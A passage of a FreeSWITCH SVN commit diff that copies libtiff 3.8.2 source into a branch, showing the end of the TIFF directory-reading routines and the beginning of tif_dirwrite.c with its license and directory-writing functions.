+			      TIFFSetField(tif, dp->tdir_tag, 1, &v)
+			    : TIFFSetField(tif, dp->tdir_tag, v));
+			}
+			break;
+		case TIFF_DOUBLE:
+			{ double v;
+			  ok = (TIFFFetchDoubleArray(tif, dp, &v) &&
+			    (fip->field_passcount ?
+			      TIFFSetField(tif, dp->tdir_tag, 1, &v)
+			    : TIFFSetField(tif, dp->tdir_tag, v))
+			  );
+			}
+			break;
+		case TIFF_ASCII:
+		case TIFF_UNDEFINED:		/* bit of a cheat... */
+			{ char c[2];
+			  if( (ok = (TIFFFetchString(tif, dp, c) != 0)) != 0 ) {
+				c[1] = '\0';		/* XXX paranoid */
+				ok = (fip->field_passcount ?
+					TIFFSetField(tif, dp->tdir_tag, 1, c)
+				      : TIFFSetField(tif, dp->tdir_tag, c));
+			  }
+			}
+			break;
+		}
+	}
+	return (ok);
+}
+
+#define	NITEMS(x)	(sizeof (x) / sizeof (x[0]))
+/*
+ * Fetch samples/pixel short values for 
+ * the specified tag and verify that
+ * all values are the same.
+ */
+static int
+TIFFFetchPerSampleShorts(TIFF* tif, TIFFDirEntry* dir, uint16* pl)
+{
+    uint16 samples = tif->tif_dir.td_samplesperpixel;
+    int status = 0;
+
+    if (CheckDirCount(tif, dir, (uint32) samples)) {
+        uint16 buf[10];
+        uint16* v = buf;
+
+        if (dir->tdir_count > NITEMS(buf))
+            v = (uint16*) _TIFFCheckMalloc(tif, dir->tdir_count, sizeof(uint16),
+                                      "to fetch per-sample values");
+        if (v && TIFFFetchShortArray(tif, dir, v)) {
+            uint16 i;
+            int check_count = dir->tdir_count;
+            if( samples < check_count )
+                check_count = samples;
+
+            for (i = 1; i < check_count; i++)
+                if (v[i] != v[0]) {
+					TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+                              "Cannot handle different per-sample values for field \"%s\"",
+                              _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+                    goto bad;
+                }
+            *pl = v[0];
+            status = 1;
+        }
+      bad:
+        if (v && v != buf)
+            _TIFFfree(v);
+    }
+    return (status);
+}
+
+/*
+ * Fetch samples/pixel long values for 
+ * the specified tag and verify that
+ * all values are the same.
+ */
+static int
+TIFFFetchPerSampleLongs(TIFF* tif, TIFFDirEntry* dir, uint32* pl)
+{
+    uint16 samples = tif->tif_dir.td_samplesperpixel;
+    int status = 0;
+
+    if (CheckDirCount(tif, dir, (uint32) samples)) {
+        uint32 buf[10];
+        uint32* v = buf;
+
+        if (dir->tdir_count > NITEMS(buf))
+            v = (uint32*) _TIFFCheckMalloc(tif, dir->tdir_count, sizeof(uint32),
+                                      "to fetch per-sample values");
+        if (v && TIFFFetchLongArray(tif, dir, v)) {
+            uint16 i;
+            int check_count = dir->tdir_count;
+
+            if( samples < check_count )
+                check_count = samples;
+            for (i = 1; i < check_count; i++)
+                if (v[i] != v[0]) {
+					TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+                              "Cannot handle different per-sample values for field \"%s\"",
+                              _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+                    goto bad;
+                }
+            *pl = v[0];
+            status = 1;
+        }
+      bad:
+        if (v && v != buf)
+            _TIFFfree(v);
+    }
+    return (status);
+}
+
+/*
+ * Fetch samples/pixel ANY values for the specified tag and verify that all
+ * values are the same.
+ */
+static int
+TIFFFetchPerSampleAnys(TIFF* tif, TIFFDirEntry* dir, double* pl)
+{
+    uint16 samples = tif->tif_dir.td_samplesperpixel;
+    int status = 0;
+
+    if (CheckDirCount(tif, dir, (uint32) samples)) {
+        double buf[10];
+        double* v = buf;
+
+        if (dir->tdir_count > NITEMS(buf))
+            v = (double*) _TIFFCheckMalloc(tif, dir->tdir_count, sizeof (double),
+                                      "to fetch per-sample values");
+        if (v && TIFFFetchAnyArray(tif, dir, v)) {
+            uint16 i;
+            int check_count = dir->tdir_count;
+            if( samples < check_count )
+                check_count = samples;
+
+            for (i = 1; i < check_count; i++)
+                if (v[i] != v[0]) {
+                    TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+                              "Cannot handle different per-sample values for field \"%s\"",
+                              _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+                    goto bad;
+                }
+            *pl = v[0];
+            status = 1;
+        }
+      bad:
+        if (v && v != buf)
+            _TIFFfree(v);
+    }
+    return (status);
+}
+#undef NITEMS
+
+/*
+ * Fetch a set of offsets or lengths.
+ * While this routine says "strips", in fact it's also used for tiles.
+ */
+static int
+TIFFFetchStripThing(TIFF* tif, TIFFDirEntry* dir, long nstrips, uint32** lpp)
+{
+	register uint32* lp;
+	int status;
+
+        CheckDirCount(tif, dir, (uint32) nstrips);
+
+	/*
+	 * Allocate space for strip information.
+	 */
+	if (*lpp == NULL &&
+	    (*lpp = (uint32 *)_TIFFCheckMalloc(tif,
+	      nstrips, sizeof (uint32), "for strip array")) == NULL)
+		return (0);
+	lp = *lpp;
+        _TIFFmemset( lp, 0, sizeof(uint32) * nstrips );
+
+	if (dir->tdir_type == (int)TIFF_SHORT) {
+		/*
+		 * Handle uint16->uint32 expansion.
+		 */
+		uint16* dp = (uint16*) _TIFFCheckMalloc(tif,
+		    dir->tdir_count, sizeof (uint16), "to fetch strip tag");
+		if (dp == NULL)
+			return (0);
+		if( (status = TIFFFetchShortArray(tif, dir, dp)) != 0 ) {
+                    int i;
+                    
+                    for( i = 0; i < nstrips && i < (int) dir->tdir_count; i++ )
+                    {
+                        lp[i] = dp[i];
+                    }
+		}
+		_TIFFfree((char*) dp);
+
+        } else if( nstrips != (int) dir->tdir_count ) {
+            /* Special case to correct length */
+
+            uint32* dp = (uint32*) _TIFFCheckMalloc(tif,
+		    dir->tdir_count, sizeof (uint32), "to fetch strip tag");
+            if (dp == NULL)
+                return (0);
+
+            status = TIFFFetchLongArray(tif, dir, dp);
+            if( status != 0 ) {
+                int i;
+
+                for( i = 0; i < nstrips && i < (int) dir->tdir_count; i++ )
+                {
+                    lp[i] = dp[i];
+                }
+            }
+
+            _TIFFfree( (char *) dp );
+	} else
+            status = TIFFFetchLongArray(tif, dir, lp);
+        
+	return (status);
+}
+
+/*
+ * Fetch and set the RefBlackWhite tag.
+ */
+static int
+TIFFFetchRefBlackWhite(TIFF* tif, TIFFDirEntry* dir)
+{
+	static const char mesg[] = "for \"ReferenceBlackWhite\" array";
+	char* cp;
+	int ok;
+
+	if (dir->tdir_type == TIFF_RATIONAL)
+		return (TIFFFetchNormalTag(tif, dir));
+	/*
+	 * Handle LONG's for backward compatibility.
+	 */
+	cp = (char *)_TIFFCheckMalloc(tif, dir->tdir_count,
+				      sizeof (uint32), mesg);
+	if( (ok = (cp && TIFFFetchLongArray(tif, dir, (uint32*) cp))) != 0) {
+		float* fp = (float*)
+		    _TIFFCheckMalloc(tif, dir->tdir_count, sizeof (float), mesg);
+		if( (ok = (fp != NULL)) != 0 ) {
+			uint32 i;
+			for (i = 0; i < dir->tdir_count; i++)
+				fp[i] = (float)((uint32*) cp)[i];
+			ok = TIFFSetField(tif, dir->tdir_tag, fp);
+			_TIFFfree((char*) fp);
+		}
+	}
+	if (cp)
+		_TIFFfree(cp);
+	return (ok);
+}
+
+/*
+ * Replace a single strip (tile) of uncompressed data by
+ * multiple strips (tiles), each approximately 8Kbytes.
+ * This is useful for dealing with large images or
+ * for dealing with machines with a limited amount
+ * memory.
+ */
+static void
+ChopUpSingleUncompressedStrip(TIFF* tif)
+{
+	register TIFFDirectory *td = &tif->tif_dir;
+	uint32 bytecount = td->td_stripbytecount[0];
+	uint32 offset = td->td_stripoffset[0];
+	tsize_t rowbytes = TIFFVTileSize(tif, 1), stripbytes;
+	tstrip_t strip, nstrips, rowsperstrip;
+	uint32* newcounts;
+	uint32* newoffsets;
+
+	/*
+	 * Make the rows hold at least one scanline, but fill specified amount
+	 * of data if possible.
+	 */
+	if (rowbytes > STRIP_SIZE_DEFAULT) {
+		stripbytes = rowbytes;
+		rowsperstrip = 1;
+	} else if (rowbytes > 0 ) {
+		rowsperstrip = STRIP_SIZE_DEFAULT / rowbytes;
+		stripbytes = rowbytes * rowsperstrip;
+	}
+        else
+            return;
+
+	/* 
+	 * never increase the number of strips in an image
+	 */
+	if (rowsperstrip >= td->td_rowsperstrip)
+		return;
+	nstrips = (tstrip_t) TIFFhowmany(bytecount, stripbytes);
+        if( nstrips == 0 ) /* something is wonky, do nothing. */
+            return;
+
+	newcounts = (uint32*) _TIFFCheckMalloc(tif, nstrips, sizeof (uint32),
+				"for chopped \"StripByteCounts\" array");
+	newoffsets = (uint32*) _TIFFCheckMalloc(tif, nstrips, sizeof (uint32),
+				"for chopped \"StripOffsets\" array");
+	if (newcounts == NULL || newoffsets == NULL) {
+	        /*
+		 * Unable to allocate new strip information, give
+		 * up and use the original one strip information.
+		 */
+		if (newcounts != NULL)
+			_TIFFfree(newcounts);
+		if (newoffsets != NULL)
+			_TIFFfree(newoffsets);
+		return;
+	}
+	/*
+	 * Fill the strip information arrays with new bytecounts and offsets
+	 * that reflect the broken-up format.
+	 */
+	for (strip = 0; strip < nstrips; strip++) {
+		if (stripbytes > (tsize_t) bytecount)
+			stripbytes = bytecount;
+		newcounts[strip] = stripbytes;
+		newoffsets[strip] = offset;
+		offset += stripbytes;
+		bytecount -= stripbytes;
+	}
+	/*
+	 * Replace old single strip info with multi-strip info.
+	 */
+	td->td_stripsperimage = td->td_nstrips = nstrips;
+	TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+
+	_TIFFfree(td->td_stripbytecount);
+	_TIFFfree(td->td_stripoffset);
+	td->td_stripbytecount = newcounts;
+	td->td_stripoffset = newoffsets;
+	td->td_stripbytecountsorted = 1;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirwrite.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirwrite.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_dirwrite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirwrite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirwrite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1243 @@
+/* $Id: tif_dirwrite.c,v 1.34 2006/02/23 16:07:45 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Directory Write Support Routines.
+ */
+#include "tiffiop.h"
+
+#ifdef HAVE_IEEEFP
+# define	TIFFCvtNativeToIEEEFloat(tif, n, fp)
+# define	TIFFCvtNativeToIEEEDouble(tif, n, dp)
+#else
+extern	void TIFFCvtNativeToIEEEFloat(TIFF*, uint32, float*);
+extern	void TIFFCvtNativeToIEEEDouble(TIFF*, uint32, double*);
+#endif
+
+static	int TIFFWriteNormalTag(TIFF*, TIFFDirEntry*, const TIFFFieldInfo*);
+static	void TIFFSetupShortLong(TIFF*, ttag_t, TIFFDirEntry*, uint32);
+static	void TIFFSetupShort(TIFF*, ttag_t, TIFFDirEntry*, uint16);
+static	int TIFFSetupShortPair(TIFF*, ttag_t, TIFFDirEntry*);
+static	int TIFFWritePerSampleShorts(TIFF*, ttag_t, TIFFDirEntry*);
+static	int TIFFWritePerSampleAnys(TIFF*, TIFFDataType, ttag_t, TIFFDirEntry*);
+static	int TIFFWriteShortTable(TIFF*, ttag_t, TIFFDirEntry*, uint32, uint16**);
+static	int TIFFWriteShortArray(TIFF*, TIFFDirEntry*, uint16*);
+static	int TIFFWriteLongArray(TIFF *, TIFFDirEntry*, uint32*);
+static	int TIFFWriteRationalArray(TIFF *, TIFFDirEntry*, float*);
+static	int TIFFWriteFloatArray(TIFF *, TIFFDirEntry*, float*);
+static	int TIFFWriteDoubleArray(TIFF *, TIFFDirEntry*, double*);
+static	int TIFFWriteByteArray(TIFF*, TIFFDirEntry*, char*);
+static	int TIFFWriteAnyArray(TIFF*,
+	    TIFFDataType, ttag_t, TIFFDirEntry*, uint32, double*);
+static	int TIFFWriteTransferFunction(TIFF*, TIFFDirEntry*);
+static	int TIFFWriteInkNames(TIFF*, TIFFDirEntry*);
+static	int TIFFWriteData(TIFF*, TIFFDirEntry*, char*);
+static	int TIFFLinkDirectory(TIFF*);
+
+#define	WriteRationalPair(type, tag1, v1, tag2, v2) {		\
+	TIFFWriteRational((tif), (type), (tag1), (dir), (v1))	\
+	TIFFWriteRational((tif), (type), (tag2), (dir)+1, (v2))	\
+	(dir)++;						\
+}
+#define	TIFFWriteRational(tif, type, tag, dir, v)		\
+	(dir)->tdir_tag = (tag);				\
+	(dir)->tdir_type = (type);				\
+	(dir)->tdir_count = 1;					\
+	if (!TIFFWriteRationalArray((tif), (dir), &(v)))	\
+		goto bad;
+
+/*
+ * Write the contents of the current directory
+ * to the specified file.  This routine doesn't
+ * handle overwriting a directory with auxiliary
+ * storage that's been changed.
+ */
+static int
+_TIFFWriteDirectory(TIFF* tif, int done)
+{
+	uint16 dircount;
+	toff_t diroff;
+	ttag_t tag;
+	uint32 nfields;
+	tsize_t dirsize;
+	char* data;
+	TIFFDirEntry* dir;
+	TIFFDirectory* td;
+	unsigned long b, fields[FIELD_SETLONGS];
+	int fi, nfi;
+
+	if (tif->tif_mode == O_RDONLY)
+		return (1);
+	/*
+	 * Clear write state so that subsequent images with
+	 * different characteristics get the right buffers
+	 * setup for them.
+	 */
+	if (done)
+	{
+	    if (tif->tif_flags & TIFF_POSTENCODE) {
+		    tif->tif_flags &= ~TIFF_POSTENCODE;
+		    if (!(*tif->tif_postencode)(tif)) {
+				TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+				"Error post-encoding before directory write");
+			    return (0);
+		    }
+	    }
+	    (*tif->tif_close)(tif);		/* shutdown encoder */
+	    /*
+	     * Flush any data that might have been written
+	     * by the compression close+cleanup routines.
+	     */
+	    if (tif->tif_rawcc > 0 && !TIFFFlushData1(tif)) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			"Error flushing data before directory write");
+		    return (0);
+	    }
+	    if ((tif->tif_flags & TIFF_MYBUFFER) && tif->tif_rawdata) {
+		    _TIFFfree(tif->tif_rawdata);
+		    tif->tif_rawdata = NULL;
+		    tif->tif_rawcc = 0;
+		    tif->tif_rawdatasize = 0;
+	    }
+	    tif->tif_flags &= ~(TIFF_BEENWRITING|TIFF_BUFFERSETUP);
+	}
+
+	td = &tif->tif_dir;
+	/*
+	 * Size the directory so that we can calculate
+	 * offsets for the data items that aren't kept
+	 * in-place in each field.
+	 */
+	nfields = 0;
+	for (b = 0; b <= FIELD_LAST; b++)
+		if (TIFFFieldSet(tif, b) && b != FIELD_CUSTOM)
+			nfields += (b < FIELD_SUBFILETYPE ? 2 : 1);
+        nfields += td->td_customValueCount;
+	dirsize = nfields * sizeof (TIFFDirEntry);
+	data = (char*) _TIFFmalloc(dirsize);
+	if (data == NULL) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "Cannot write directory, out of space");
+		return (0);
+	}
+	/*
+	 * Directory hasn't been placed yet, put
+	 * it at the end of the file and link it
+	 * into the existing directory structure.
+	 */
+	if (tif->tif_diroff == 0 && !TIFFLinkDirectory(tif))
+		goto bad;
+	tif->tif_dataoff = (toff_t)(
+	    tif->tif_diroff + sizeof (uint16) + dirsize + sizeof (toff_t));
+	if (tif->tif_dataoff & 1)
+		tif->tif_dataoff++;
+	(void) TIFFSeekFile(tif, tif->tif_dataoff, SEEK_SET);
+	tif->tif_curdir++;
+	dir = (TIFFDirEntry*) data;
+	/*
+	 * Setup external form of directory
+	 * entries and write data items.
+	 */
+	_TIFFmemcpy(fields, td->td_fieldsset, sizeof (fields));
+	/*
+	 * Write out ExtraSamples tag only if
+	 * extra samples are present in the data.
+	 */
+	if (FieldSet(fields, FIELD_EXTRASAMPLES) && !td->td_extrasamples) {
+		ResetFieldBit(fields, FIELD_EXTRASAMPLES);
+		nfields--;
+		dirsize -= sizeof (TIFFDirEntry);
+	}								/*XXX*/
+	for (fi = 0, nfi = tif->tif_nfields; nfi > 0; nfi--, fi++) {
+		const TIFFFieldInfo* fip = tif->tif_fieldinfo[fi];
+
+                /*
+                ** For custom fields, we test to see if the custom field
+                ** is set or not.  For normal fields, we just use the
+                ** FieldSet test. 
+                */
+                if( fip->field_bit == FIELD_CUSTOM )
+                {
+                    int ci, is_set = FALSE;
+
+                    for( ci = 0; ci < td->td_customValueCount; ci++ )
+                        is_set |= (td->td_customValues[ci].info == fip);
+
+                    if( !is_set )
+                        continue;
+                }
+		else if (!FieldSet(fields, fip->field_bit))
+                    continue;
+
+
+                /*
+                ** Handle other fields.
+                */
+		switch (fip->field_bit)
+                {
+		case FIELD_STRIPOFFSETS:
+			/*
+			 * We use one field bit for both strip and tile
+
+			 * offsets, and so must be careful in selecting
+			 * the appropriate field descriptor (so that tags
+			 * are written in sorted order).
+			 */
+			tag = isTiled(tif) ?
+			    TIFFTAG_TILEOFFSETS : TIFFTAG_STRIPOFFSETS;
+			if (tag != fip->field_tag)
+				continue;
+			
+			dir->tdir_tag = (uint16) tag;
+			dir->tdir_type = (uint16) TIFF_LONG;
+			dir->tdir_count = (uint32) td->td_nstrips;
+			if (!TIFFWriteLongArray(tif, dir, td->td_stripoffset))
+				goto bad;
+			break;
+		case FIELD_STRIPBYTECOUNTS:
+			/*
+			 * We use one field bit for both strip and tile
+			 * byte counts, and so must be careful in selecting
+			 * the appropriate field descriptor (so that tags
+			 * are written in sorted order).
+			 */
+			tag = isTiled(tif) ?
+			    TIFFTAG_TILEBYTECOUNTS : TIFFTAG_STRIPBYTECOUNTS;
+			if (tag != fip->field_tag)
+				continue;
+			
+			dir->tdir_tag = (uint16) tag;
+			dir->tdir_type = (uint16) TIFF_LONG;
+			dir->tdir_count = (uint32) td->td_nstrips;
+			if (!TIFFWriteLongArray(tif, dir,
+						td->td_stripbytecount))
+				goto bad;
+			break;
+		case FIELD_ROWSPERSTRIP:
+			TIFFSetupShortLong(tif, TIFFTAG_ROWSPERSTRIP,
+			    dir, td->td_rowsperstrip);
+			break;
+		case FIELD_COLORMAP:
+			if (!TIFFWriteShortTable(tif, TIFFTAG_COLORMAP, dir,
+			    3, td->td_colormap))
+				goto bad;
+			break;
+		case FIELD_IMAGEDIMENSIONS:
+			TIFFSetupShortLong(tif, TIFFTAG_IMAGEWIDTH,
+			    dir++, td->td_imagewidth);
+			TIFFSetupShortLong(tif, TIFFTAG_IMAGELENGTH,
+			    dir, td->td_imagelength);
+			break;
+		case FIELD_TILEDIMENSIONS:
+			TIFFSetupShortLong(tif, TIFFTAG_TILEWIDTH,
+			    dir++, td->td_tilewidth);
+			TIFFSetupShortLong(tif, TIFFTAG_TILELENGTH,
+			    dir, td->td_tilelength);
+			break;
+		case FIELD_COMPRESSION:
+			TIFFSetupShort(tif, TIFFTAG_COMPRESSION,
+			    dir, td->td_compression);
+			break;
+		case FIELD_PHOTOMETRIC:
+			TIFFSetupShort(tif, TIFFTAG_PHOTOMETRIC,
+			    dir, td->td_photometric);
+			break;
+		case FIELD_POSITION:
+			WriteRationalPair(TIFF_RATIONAL,
+			    TIFFTAG_XPOSITION, td->td_xposition,
+			    TIFFTAG_YPOSITION, td->td_yposition);
+			break;
+		case FIELD_RESOLUTION:
+			WriteRationalPair(TIFF_RATIONAL,
+			    TIFFTAG_XRESOLUTION, td->td_xresolution,
+			    TIFFTAG_YRESOLUTION, td->td_yresolution);
+			break;
+		case FIELD_BITSPERSAMPLE:
+		case FIELD_MINSAMPLEVALUE:
+		case FIELD_MAXSAMPLEVALUE:
+		case FIELD_SAMPLEFORMAT:
+			if (!TIFFWritePerSampleShorts(tif, fip->field_tag, dir))
+				goto bad;
+			break;
+		case FIELD_SMINSAMPLEVALUE:
+		case FIELD_SMAXSAMPLEVALUE:
+			if (!TIFFWritePerSampleAnys(tif,
+			    _TIFFSampleToTagType(tif), fip->field_tag, dir))
+				goto bad;
+			break;
+		case FIELD_PAGENUMBER:
+		case FIELD_HALFTONEHINTS:
+		case FIELD_YCBCRSUBSAMPLING:
+			if (!TIFFSetupShortPair(tif, fip->field_tag, dir))
+				goto bad;
+			break;
+		case FIELD_INKNAMES:
+			if (!TIFFWriteInkNames(tif, dir))
+				goto bad;
+			break;
+		case FIELD_TRANSFERFUNCTION:
+			if (!TIFFWriteTransferFunction(tif, dir))
+				goto bad;
+			break;
+		case FIELD_SUBIFD:
+			/*
+			 * XXX: Always write this field using LONG type
+			 * for backward compatibility.
+			 */
+			dir->tdir_tag = (uint16) fip->field_tag;
+			dir->tdir_type = (uint16) TIFF_LONG;
+			dir->tdir_count = (uint32) td->td_nsubifd;
+			if (!TIFFWriteLongArray(tif, dir, td->td_subifd))
+				goto bad;
+			/*
+			 * Total hack: if this directory includes a SubIFD
+			 * tag then force the next <n> directories to be
+			 * written as ``sub directories'' of this one.  This
+			 * is used to write things like thumbnails and
+			 * image masks that one wants to keep out of the
+			 * normal directory linkage access mechanism.
+			 */
+			if (dir->tdir_count > 0) {
+				tif->tif_flags |= TIFF_INSUBIFD;
+				tif->tif_nsubifd = (uint16) dir->tdir_count;
+				if (dir->tdir_count > 1)
+					tif->tif_subifdoff = dir->tdir_offset;
+				else
+					tif->tif_subifdoff = (uint32)(
+					      tif->tif_diroff
+					    + sizeof (uint16)
+					    + ((char*)&dir->tdir_offset-data));
+			}
+			break;
+		default:
+			/* XXX: Should be fixed and removed. */
+			if (fip->field_tag == TIFFTAG_DOTRANGE) {
+				if (!TIFFSetupShortPair(tif, fip->field_tag, dir))
+					goto bad;
+			}
+			else if (!TIFFWriteNormalTag(tif, dir, fip))
+				goto bad;
+			break;
+		}
+		dir++;
+                
+                if( fip->field_bit != FIELD_CUSTOM )
+                    ResetFieldBit(fields, fip->field_bit);
+	}
+
+	/*
+	 * Write directory.
+	 */
+	dircount = (uint16) nfields;
+	diroff = (uint32) tif->tif_nextdiroff;
+	if (tif->tif_flags & TIFF_SWAB) {
+		/*
+		 * The file's byte order is opposite to the
+		 * native machine architecture.  We overwrite
+		 * the directory information with impunity
+		 * because it'll be released below after we
+		 * write it to the file.  Note that all the
+		 * other tag construction routines assume that
+		 * we do this byte-swapping; i.e. they only
+		 * byte-swap indirect data.
+		 */
+		for (dir = (TIFFDirEntry*) data; dircount; dir++, dircount--) {
+			TIFFSwabArrayOfShort(&dir->tdir_tag, 2);
+			TIFFSwabArrayOfLong(&dir->tdir_count, 2);
+		}
+		dircount = (uint16) nfields;
+		TIFFSwabShort(&dircount);
+		TIFFSwabLong(&diroff);
+	}
+	(void) TIFFSeekFile(tif, tif->tif_diroff, SEEK_SET);
+	if (!WriteOK(tif, &dircount, sizeof (dircount))) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing directory count");
+		goto bad;
+	}
+	if (!WriteOK(tif, data, dirsize)) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing directory contents");
+		goto bad;
+	}
+	if (!WriteOK(tif, &diroff, sizeof (diroff))) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing directory link");
+		goto bad;
+	}
+	if (done) {
+		TIFFFreeDirectory(tif);
+		tif->tif_flags &= ~TIFF_DIRTYDIRECT;
+		(*tif->tif_cleanup)(tif);
+
+		/*
+		* Reset directory-related state for subsequent
+		* directories.
+		*/
+		TIFFCreateDirectory(tif);
+	}
+	_TIFFfree(data);
+	return (1);
+bad:
+	_TIFFfree(data);
+	return (0);
+}
+#undef WriteRationalPair
+
+int
+TIFFWriteDirectory(TIFF* tif)
+{
+	return _TIFFWriteDirectory(tif, TRUE);
+}
+
+/*
+ * Similar to TIFFWriteDirectory(), writes the directory out
+ * but leaves all data structures in memory so that it can be
+ * written again.  This will make a partially written TIFF file
+ * readable before it is successfully completed/closed.
+ */ 
+int
+TIFFCheckpointDirectory(TIFF* tif)
+{
+	int rc;
+	/* Setup the strips arrays, if they haven't already been. */
+	if (tif->tif_dir.td_stripoffset == NULL)
+	    (void) TIFFSetupStrips(tif);
+	rc = _TIFFWriteDirectory(tif, FALSE);
+	(void) TIFFSetWriteOffset(tif, TIFFSeekFile(tif, 0, SEEK_END));
+	return rc;
+}
+
+/*
+ * Process tags that are not special cased.
+ */
+static int
+TIFFWriteNormalTag(TIFF* tif, TIFFDirEntry* dir, const TIFFFieldInfo* fip)
+{
+	uint16 wc = (uint16) fip->field_writecount;
+	uint32 wc2;
+
+	dir->tdir_tag = (uint16) fip->field_tag;
+	dir->tdir_type = (uint16) fip->field_type;
+	dir->tdir_count = wc;
+	
+	switch (fip->field_type) {
+	case TIFF_SHORT:
+	case TIFF_SSHORT:
+		if (fip->field_passcount) {
+			uint16* wp;
+			if (wc == (uint16) TIFF_VARIABLE2) {
+				TIFFGetField(tif, fip->field_tag, &wc2, &wp);
+				dir->tdir_count = wc2;
+			} else {	/* Assume TIFF_VARIABLE */
+				TIFFGetField(tif, fip->field_tag, &wc, &wp);
+				dir->tdir_count = wc;
+			}
+			if (!TIFFWriteShortArray(tif, dir, wp))
+				return 0;
+		} else {
+			if (wc == 1) {
+				uint16 sv;
+				TIFFGetField(tif, fip->field_tag, &sv);
+				dir->tdir_offset =
+					TIFFInsertData(tif, dir->tdir_type, sv);
+			} else {
+				uint16* wp;
+				TIFFGetField(tif, fip->field_tag, &wp);
+				if (!TIFFWriteShortArray(tif, dir, wp))
+					return 0;
+			}
+		}
+		break;
+	case TIFF_LONG:
+	case TIFF_SLONG:
+	case TIFF_IFD:
+		if (fip->field_passcount) {
+			uint32* lp;
+			if (wc == (uint16) TIFF_VARIABLE2) {
+				TIFFGetField(tif, fip->field_tag, &wc2, &lp);
+				dir->tdir_count = wc2;
+			} else {	/* Assume TIFF_VARIABLE */
+				TIFFGetField(tif, fip->field_tag, &wc, &lp);
+				dir->tdir_count = wc;
+			}
+			if (!TIFFWriteLongArray(tif, dir, lp))
+				return 0;
+		} else {
+			if (wc == 1) {
+				/* XXX handle LONG->SHORT conversion */
+				TIFFGetField(tif, fip->field_tag,
+					     &dir->tdir_offset);
+			} else {
+				uint32* lp;
+				TIFFGetField(tif, fip->field_tag, &lp);
+				if (!TIFFWriteLongArray(tif, dir, lp))
+					return 0;
+			}
+		}
+		break;
+	case TIFF_RATIONAL:
+	case TIFF_SRATIONAL:
+		if (fip->field_passcount) {
+			float* fp;
+			if (wc == (uint16) TIFF_VARIABLE2) {
+				TIFFGetField(tif, fip->field_tag, &wc2, &fp);
+				dir->tdir_count = wc2;
+			} else {	/* Assume TIFF_VARIABLE */
+				TIFFGetField(tif, fip->field_tag, &wc, &fp);
+				dir->tdir_count = wc;
+			}
+			if (!TIFFWriteRationalArray(tif, dir, fp))
+				return 0;
+		} else {
+			if (wc == 1) {
+				float fv;
+				TIFFGetField(tif, fip->field_tag, &fv);
+				if (!TIFFWriteRationalArray(tif, dir, &fv))
+					return 0;
+			} else {
+				float* fp;
+				TIFFGetField(tif, fip->field_tag, &fp);
+				if (!TIFFWriteRationalArray(tif, dir, fp))
+					return 0;
+			}
+		}
+		break;
+	case TIFF_FLOAT:
+		if (fip->field_passcount) {
+			float* fp;
+			if (wc == (uint16) TIFF_VARIABLE2) {
+				TIFFGetField(tif, fip->field_tag, &wc2, &fp);
+				dir->tdir_count = wc2;
+			} else {	/* Assume TIFF_VARIABLE */
+				TIFFGetField(tif, fip->field_tag, &wc, &fp);
+				dir->tdir_count = wc;
+			}
+			if (!TIFFWriteFloatArray(tif, dir, fp))
+				return 0;
+		} else {
+			if (wc == 1) {
+				float fv;
+				TIFFGetField(tif, fip->field_tag, &fv);
+				if (!TIFFWriteFloatArray(tif, dir, &fv))
+					return 0;
+			} else {
+				float* fp;
+				TIFFGetField(tif, fip->field_tag, &fp);
+				if (!TIFFWriteFloatArray(tif, dir, fp))
+					return 0;
+			}
+		}
+		break;
+	case TIFF_DOUBLE:
+		if (fip->field_passcount) {
+			double* dp;
+			if (wc == (uint16) TIFF_VARIABLE2) {
+				TIFFGetField(tif, fip->field_tag, &wc2, &dp);
+				dir->tdir_count = wc2;
+			} else {	/* Assume TIFF_VARIABLE */
+				TIFFGetField(tif, fip->field_tag, &wc, &dp);
+				dir->tdir_count = wc;
+			}
+			if (!TIFFWriteDoubleArray(tif, dir, dp))
+				return 0;
+		} else {
+			if (wc == 1) {
+				double dv;
+				TIFFGetField(tif, fip->field_tag, &dv);
